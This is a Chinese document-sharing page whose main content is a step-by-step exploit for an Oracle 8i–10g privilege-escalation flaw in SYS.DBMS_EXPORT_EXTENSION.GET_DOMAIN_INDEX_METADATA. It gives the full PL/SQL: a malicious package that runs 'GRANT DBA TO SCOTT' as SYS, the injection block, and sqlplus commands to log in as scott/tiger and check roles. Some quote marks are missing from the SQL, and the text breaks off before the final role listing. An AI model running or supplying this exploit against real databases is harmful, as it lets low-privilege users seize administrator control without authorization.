- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
oracle 10g 漏洞--低权限用户提权方法
oracle 10g 漏洞--低权限用户提权方法
oracle 低权限用户提权方法:
【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提升权限漏洞
【影响平台】Oracle 8i / 9i / 10g / XE
【风险等级】高
【攻击需求】较低权限账号
【造成危害】取得管理员权限
【内容描述】
oracle Database Server 8.1.7.4, 9.0.1.5, 9.2.0.7, 10.1.0.5及其他版本可以允许远端攻击者执行任意SQL命令,
由于DBMS_EXPORT_EXTENSION package 中的GET_DOMAIN_INDEX_METADATA 程序存在漏洞远端
攻击者可以送出特殊建立的SQL命令来提升权限以及新增,修改,删除数据库。
【测试代码】
1、用scott/tiger登陆Oracle,scott 是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。
sqlplus scott/tiger@orcl
2、查询scott的当前角色
SQL select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
可以看到scott只有CONNECT和RESOURCE两个权限较低的角色
3、利用漏洞执行权限提升
SQL
-- Create a function in a package first and inject this function. The function will be executed as user SYS.
Create or REPLACE
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER;
END;
/
Create or REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE GRANT DBATO SCOTT;
COMMIT;
RETURN(1);
END;
END;
/
-- Inject the function in dbms_export_extension
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMAVARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMAVARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := A1;
INDEX_SCHEMA := SCOTT;
TYPE_NAME := HACKERPACKAGE;
TYPE_SCHEMA := SCOTT;
VERSION := 9.2.0.1.0;
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =
INDEX_NAME,
INDEX_SCHEMA= INDEX_SCHEMA,
TYPE_NAME = TYPE_NAME,
TYPE_SCHEMA = TYPE_SCHEMA,
VERSION = VERSION,
NEWBLOCK = NEWBLOCK,
GMFLAGS = GMFLAGS);
END;
/
sqlplus中显示PL/SQL procedure successfully completed,提升权限成功。
4、断开连接
SQL disc;
5、重新连接
SQL conn scott/tiger@orcl;
6、再次查询scott的当前角色
SQL select * from session_roles;
ROLE
--
文档评论(0)